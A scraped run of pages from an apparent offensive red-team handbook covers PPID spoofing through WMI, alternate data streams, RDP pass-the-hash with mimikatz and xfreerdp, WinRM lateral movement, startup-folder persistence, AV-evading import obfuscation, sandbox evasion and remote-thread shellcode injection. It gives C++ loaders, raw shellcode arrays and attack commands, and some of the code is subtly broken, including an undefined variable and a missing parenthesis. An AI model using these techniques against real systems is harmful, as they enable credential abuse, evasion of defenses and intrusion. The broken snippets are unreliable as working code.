![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh6qtruNJ6914AgRlPr%252F-Mh6xUcJDRjI0wyodkpU%252Fimage.png%3Falt%3Dmedia%26token%3Dff9a4cb6-b836-4de5-a050-2e908531f40b&width=768&dpr=3&quality=100&sign=8e22ea6a&sv=2) We have successfuly spoofed notepad's parent to be the WMI service! But there is a weird thing I found in which I don't have enough knowledge to explain why this happens. After around one minute and thirty seconds, this popups up about notepad.exe ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh6qtruNJ6914AgRlPr%252F-Mh6y9gvLDtpqM-f1BLL%252Fimage.png%3Falt%3Dmedia%26token%3Dd4e63afc-b91d-4a82-8c86-4f085f54ee7d&width=768&dpr=3&quality=100&sign=13e920bf&sv=2) As we can see, it has a "Non-existent" parent. ETW also has a WMI provider we can enable. We will use Event Viewer for this. Lets enable tracing for the WMI-Activity, and see what kind of logs we get when we run our ppid spoofing executable: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh6qtruNJ6914AgRlPr%252F-Mh71DvbW3rNEGE-59Cy%252Fimage.png%3Falt%3Dmedia%26token%3Da372bf6d-2d9a-4eef-9651-3c341a5d4979&width=768&dpr=3&quality=100&sign=3932d2b6&sv=2) Once enabled, lets run our executable. ... If everything works, you should get a good amount of logs from one executable. I was too lazy to take screenshots of the logs, so I'll leave this as an "exercise" to the reader to test out. TODO: * How can we detect this? * Does this trigger Image Load callbacks? * why does the WMI service quit after some time? [PreviousSwitching Parents](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents) [NextHiding our Payloads](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads) Last updated 5 years ago * [Implementation](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi#implementation) * [Observations](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi#observations) Copy SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%" Copy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM Copy #define _WIN32_DCOM #include using namespace std; #include #include #pragma comment(lib, "wbemuuid.lib") int main(int iArgCnt, char** argv) { HRESULT hres; // Step 1: -------------------------------------------------- // Initialize COM. ------------------------------------------ hres = CoInitializeEx(0, COINIT_MULTITHREADED); if (FAILED(hres)) { cout << "Failed to initialize COM library. Error code = 0x" << hex << hres << endl; return 1; // Program has failed. } // Step 2: -------------------------------------------------- // Set general COM security levels -------------------------- hres = CoInitializeSecurity( NULL, -1, // COM negotiates service NULL, // Authentication services NULL, // Reserved RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation NULL, // Authentication info EOAC_NONE, // Additional capabilities NULL // Reserved ); if (FAILED(hres)) { cout << "Failed to initialize security. Error code = 0x" << hex << hres << endl; CoUninitialize(); return 1; // Program has failed. } // Step 3: --------------------------------------------------- // Obtain the initial locator to WMI ------------------------- IWbemLocator* pLoc = NULL; hres = CoCreateInstance( CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc); if (FAILED(hres)) { cout << "Failed to create IWbemLocator object. " << "Err code = 0x" << hex << hres << endl; CoUninitialize(); return 1; // Program has failed. } // Step 4: --------------------------------------------------- // Connect to WMI through the IWbemLocator::ConnectServer method IWbemServices* pSvc = NULL; // Connect to the local root\cimv2 namespace // and obtain pointer pSvc to make IWbemServices calls. hres = pLoc->ConnectServer( _bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc ); if (FAILED(hres)) { cout << "Could not connect. Error code = 0x" << hex << hres << endl; pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } cout << "Connected to ROOT\\CIMV2 WMI namespace" << endl; // Step 5: -------------------------------------------------- // Set security levels for the proxy ------------------------ hres = CoSetProxyBlanket( pSvc, // Indicates the proxy to set RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx NULL, // Server principal name RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx NULL, // client identity EOAC_NONE // proxy capabilities ); if (FAILED(hres)) { cout << "Could not set proxy blanket. Error code = 0x" << hex << hres << endl; pSvc->Release(); pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } // Step 6: -------------------------------------------------- // Use the IWbemServices pointer to make requests of WMI ---- // set up to call the Win32_Process::Create method BSTR MethodName = SysAllocString(L"Create"); BSTR ClassName = SysAllocString(L"Win32_Process"); IWbemClassObject* pClass = NULL; hres = pSvc->GetObject(ClassName, 0, NULL, &pClass, NULL); IWbemClassObject* pInParamsDefinition = NULL; hres = pClass->GetMethod(MethodName, 0, &pInParamsDefinition, NULL); IWbemClassObject* pClassInstance = NULL; hres = pInParamsDefinition->SpawnInstance(0, &pClassInstance); // Create the values for the in parameters VARIANT varCommand; varCommand.vt = VT_BSTR; varCommand.bstrVal = _bstr_t(L"notepad.exe"); // Store the value for the in parameters hres = pClassInstance->Put(L"CommandLine", 0, &varCommand, 0); wprintf(L"The command is: %s\n", V_BSTR(&varCommand)); // Execute Method IWbemClassObject* pOutParams = NULL; hres = pSvc->ExecMethod(ClassName, MethodName, 0, NULL, pClassInstance, &pOutParams, NULL); if (FAILED(hres)) { cout << "Could not execute method. Error code = 0x" << hex << hres << endl; VariantClear(&varCommand); SysFreeString(ClassName); SysFreeString(MethodName); pClass->Release(); pClassInstance->Release(); pInParamsDefinition->Release(); pOutParams->Release(); pSvc->Release(); pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } // To see what the method returned, // use the following code. The return value will // be in &varReturnValue VARIANT varReturnValue; hres = pOutParams->Get(_bstr_t(L"ReturnValue"), 0, &varReturnValue, NULL, 0); // Clean up //-------------------------- VariantClear(&varCommand); VariantClear(&varReturnValue); SysFreeString(ClassName); SysFreeString(MethodName); pClass->Release(); pClassInstance->Release(); pInParamsDefinition->Release(); pOutParams->Release(); pLoc->Release(); pSvc->Release(); CoUninitialize(); return 0; } Copy #define _WIN32_DCOM #include using namespace std; #include #include #pragma comment(lib, "wbemuuid.lib") Copy hres = CoInitializeEx(0, COINIT_MULTITHREADED); if (FAILED(hres)) { cout << "Failed to initialize COM library. Error code = 0x" << hex << hres << endl; return 1; // Program has failed. } Copy hres = CoInitializeSecurity( NULL, -1, // COM negotiates service NULL, // Authentication services NULL, // Reserved RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation NULL, // Authentication info EOAC_NONE, // Additional capabilities NULL // Reserved ); if (FAILED(hres)) { cout << "Failed to initialize security. Error code = 0x" << hex << hres << endl; CoUninitialize(); return 1; // Program has failed. } Copy IWbemLocator* pLoc = NULL; hres = CoCreateInstance( CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc); if (FAILED(hres)) { cout << "Failed to create IWbemLocator object. " << "Err code = 0x" << hex << hres << endl; CoUninitialize(); return 1; // Program has failed. } Copy HRESULT ConnectServer( const BSTR strNetworkResource, const BSTR strUser, const BSTR strPassword,const BSTR strLocale, LONG lSecurityFlags, const BSTR strAuthority, IWbemContext* pCtx, IWbemServices** ppNamespace ) Copy IWbemServices* pSvc = NULL; // Connect to the local root\cimv2 namespace // and obtain pointer pSvc to make IWbemServices calls. hres = pLoc->ConnectServer( _bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc ); if (FAILED(hres)) { cout << "Could not connect. Error code = 0x" << hex << hres << endl; pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } cout << "Connected to ROOT\\CIMV2 WMI namespace" << endl; Copy hres = CoSetProxyBlanket( pSvc, // Indicates the proxy to set RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx NULL, // Server principal name RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx NULL, // client identity EOAC_NONE // proxy capabilities ); if (FAILED(hres)) { cout << "Could not set proxy blanket. Error code = 0x" << hex << hres << endl; pSvc->Release(); pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } Copy uint32 Create( [in] string CommandLine, [in] string CurrentDirectory, [in] Win32_ProcessStartup ProcessStartupInformation, [out] uint32 ProcessId ); Copy // Set up to call the Win32_Process::Create method BSTR MethodName = SysAllocString(L"Create"); BSTR ClassName = SysAllocString(L"Win32_Process"); IWbemClassObject* pClass = NULL; hres = pSvc->GetObject(ClassName, 0, NULL, &pClass, NULL); // Remember that pSvc is IWbemServices Pointer, we get the Win32Process Classname IWbemClassObject* pInParamsDefinition = NULL; hres = pClass->GetMethod(MethodName, 0, &pInParamsDefinition, NULL); // We get the Create Method name IWbemClassObject* pClassInstance = NULL; hres = pInParamsDefinition->SpawnInstance(0, &pClassInstance); // Spawn new instance of Win32_Process::Create // Create the values for the in-parameters VARIANT varCommand; varCommand.vt = VT_BSTR; varCommand.bstrVal = _bstr_t(L"notepad.exe"); // Stores notepade in the CommandLine parameter hres = pClassInstance->Put(L"CommandLine", 0, &varCommand, 0); wprintf(L"The command is: %s\n", V_BSTR(&varCommand)); Copy // Executes Win32_Process::create, and stores OutParams as a ClassObject pointer IWbemClassObject* pOutParams = NULL; hres = pSvc->ExecMethod(ClassName, MethodName, 0, NULL, pClassInstance, &pOutParams, NULL); // store the result in a Variant variable VARIANT varReturnValue; hres = pOutParams->Get(_bstr_t(L"ReturnValue"), 0, &varReturnValue, NULL, 0); Copy if (FAILED(hres)) { cout << "Could not execute method. Error code = 0x" << hex << hres << endl; VariantClear(&varCommand); SysFreeString(ClassName); SysFreeString(MethodName); pClass->Release(); pClassInstance->Release(); pInParamsDefinition->Release(); pOutParams->Release(); pSvc->Release(); pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } Copy // Clean up //-------------------------- VariantClear(&varCommand); VariantClear(&varReturnValue); SysFreeString(ClassName); SysFreeString(MethodName); pClass->Release(); pClassInstance->Release(); pInParamsDefinition->Release(); pOutParams->Release(); pLoc->Release(); pSvc->Release(); CoUninitialize(); return 0; --- # ADS | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/ads.md) . Creating ADS in c++ Copy CreateFile( "sample.txt:my_stream",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,0,NULL ); if( hStream == INVALID_HANDLE_VALUE ) printf( "Cannot open sample.txt:my_stream\n" ); else WriteFile (hStream,"This data is hidden in the stream. Can you Read IT ???", 53, &dwRet, NULL); } (todo) [PreviousRegistry Keys](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/registry-keys) [NextIPC For Evasion and Control](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization) Last updated 5 years ago --- # Event Logs | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/event-logs.md) . (todo) [PreviousHiding our Payloads](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads) [NextFile metadata](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/file-metadata) Last updated 5 years ago --- # RDP | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/rdp.md) . If RDP is enabled, you can just login with credentials like how a regular admin or user would. An interesting thing to note is that if restricted admin is enabled, we may be able to PTH with RDP clients. Restricted admin mode was made to allow sys admins to perform network logons(no clear text credential logon) with RDP. PTH: `xfreerdp /u:USER /d:DOMAIN /pth: -v` Mimikatz PTH: `sekurlsa::pth /user /domain: /ntlm /run:"mstsc.exe /restrictedadmin"` Note that if we get an error, we need to set a registry key enabling restricted admin mode. Copy PS > New-ItemProperty -Path"HKLM:\System\CurrentControlSet\Control\Lsa" -Name"DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force For regular lateral movement, SharpRDP is a tool that can help us Copy SharpRDP.exe computername=dc01 command=calc username=offense\administrator password=pass ### [](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/rdp#undefined) [PreviousDCOM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/dcom) [NextSCShell](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/scshell) Last updated 5 years ago --- # WinRM | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/winrm.md) . WinRM is a Microsoft implementation of the WS-Management Protocol. It uses WMI over HTTP(S) over 5985/TCP and 5986/TCP. WinRM requires listeners on the client and server to process requests. This can be enabled using the Powershell command ’`Enable-PSRemoting –Force`’ locally and remotely using any of the previous techniques. Copy winrs -r:REMOTEIP -u:DOMAIN\USER -p:PASSWORD notepad.exe We can also avoid the double-hop problem with -EnableNetworkAccess Copy PS> Enter-PSSession –ComputerName REMOTEIP –Credential DOMAIN\USER –EnableNetworkAccess If the computer is not domain joined, then you need to add the target computer to the trustedhosts list Copy PS > winrm quickconfig PS > Set-Item WSMan:\localhost\Client\TrustedHosts –Value ’,’ [PreviousPoison Handler](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/poison-handler) [NextAT](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/at) Last updated 5 years ago --- # LNK | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/lnk.md) . (todo) [PreviousUser Level](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level) [NextStartup Folder](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/startup-folder) Last updated 5 years ago --- # Obfuscating Imports | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports.md) . Looking at the imports of a PE file can be a big indicator of malicious use. For example, should a legitimate binary only use: VirtualAlloc, RtlMoveMemory, and CreateThread? Or is it just malware. Looking at the imports of already known malware and applying detecting logic based on that is something AV's do. We can Obfuscate our imports and not make those malicious functions popup in our import table by dynamically resolving our functions. We can do this with GetModuleHandle and GetProcAddress. We will get a handle to the dll that exports the function you want to use, get the address of the function in the dll, and simply call that. An example implementation of this is: Copy #include #include #include #include #pragma comment (lib, "user32.lib") // https://github.com/9emin1/charlotte/blob/main/template.cpp char shellcode[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; int pay_len = sizeof(shellcode); LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); HANDLE (WINAPI * pCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); DWORD (WINAPI * pWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); int main(void) { XOR((char *) shellcode, pay_len, key, sizeof(key)); pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc"); void *exec = pVirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(exec, shellcode, sizeof(shellcode); pCreateThread = GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread"); HANDLE th = pCreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec, 0, 0, 0); pWaitForSingleObject = GetProcAddress(GetModuleHandle("kernel32.dll"), "WaitForSingleObject"); pWaitForSingleObject(th, -1); } Let's find the imports of the code above to see if it really works. You can check the imports with dumpbin: In this case, no instances of VirtualAlloc, CreateThread etc. have been found in the import adress table. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-QC-qJAe7mPtJmXWY%252F-Mh-YE5yogIHHTJizsoW%252Fimage.png%3Falt%3Dmedia%26token%3Dcadf23b1-7854-4536-a6f0-a2b31d2617ea&width=768&dpr=3&quality=100&sign=6544e433&sv=2) [PreviousSandbox Evasion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/sandbox-evasion) [NextBootstrapping](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports/bootstrapping) Last updated 5 years ago Copy dumpbin /imports executable.exe --- # Hiding our Payloads | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads.md) . [Event Logs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/event-logs) [File metadata](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/file-metadata) [Registry Keys](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/registry-keys) [ADS](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/ads) [PreviousDechaining via WMI](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi) [NextEvent Logs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/event-logs) Last updated 5 years ago --- # Junction folders | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/junction-folders.md) . (todo) [PreviousStartup Folder](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/startup-folder) [NextRegistry Keys](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/registry-keys) Last updated 5 years ago --- # Startup Folder | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/startup-folder.md) . This is arguably one of the most simplest and easiest persistence techniques to perform. As the name implies, programs in the startup folder will execute when the user logs in. Command: Copy copy c:\executable "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" [PreviousLNK](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/lnk) [NextJunction folders](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/junction-folders) Last updated 5 years ago --- # IPC For Evasion and Control | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization.md) . IPC(inter-process communication) is used to provide communications and data sharing between applications. IPC is an umbrella term that fits all of these definitions. In this case, we won't be using IPC to communicate with other processes and such, but we will be using it as a shared object that indicates a certain function depending on our goal. Payload Control[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization#payload-control) ------------------------------------------------------------------------------------------------------------------------------------------------------- One scenario you might encounter is that your payload may have multiple instances and it might become too hectic. This can arise from DLL hijacking or COM hijacking where multiple programs might load your payload. Although having multiple running instances of your payload on a machine may be a good thing for stability and such, it may create a lot of noise due to the number of artifacts being created to your system. To solve this, we can create an IPC object and say, "if this object already exists, stop execution, but if this object does not exist, create it and execute your payload". This logic ensures that only one instance of your payload is running at a time. One example of an IPC object we can use is named pipes. Copy NamedPipeCheck = CreateNamedPipe("\\\\.\\pipe\\EvilCheck", PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); if (GetLastError() == ERROR_ALREADY_EXISTS) { CloseHandle(NamedPipeCheck); return 0; } In the above function, we will try to create a named pipe called "\\\\\\\\.\\\\pipe\\\\EvilCheck", if it already exists, we will stop execution and return 0. As you can see, this is a very simple method to keep your payloads in control. Note that your pipe name can be a IOC. Evasion[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization#evasion) --------------------------------------------------------------------------------------------------------------------------------------- The same idea can be used for sandbox evasion, except that we will only start execution if a certain IPC object exists. This method was documented in the vault7 leaks here, which used mutexes: As stated in the document, this method calls itself. This works because "The AV will only trigger the code if it has been called in a certain way" We can implement this with: Conclusion[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization#conclusion) --------------------------------------------------------------------------------------------------------------------------------------------- There are plenty of ways to implement these types of checks. You can use Mutexes, Semaphores etc. You don't even have to use IPC objects, a simply registry key or file will suffice. [PreviousADS](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/ads) [NextPrivilege Escalation](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation) Last updated 5 years ago * [Payload Control](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization#payload-control) * [Evasion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization#evasion) * [Conclusion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization#conclusion) Copy NamedPipeCheck = CreateNamedPipe("\\\\.\\pipe\\EvilCheck", PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); if (GetLastError() == ERROR_ALREADY_EXISTS) { decryptCodeSection(); startShellCode(); } else { startExe("test.exe"); // name of implant Sleep(100); } return 0; --- # CreateRemoteThread | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/createremotethread.md) . 1. **Allocate Memory in remote process(VirtualAlloc)** 2. **Write shellcode to remote process(WriteProcessMemory)** 3. **Create thread running shellcode(CreateRemoteThread)** Copy #include #include #include #include #include unsigned char shellcode [] = { 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 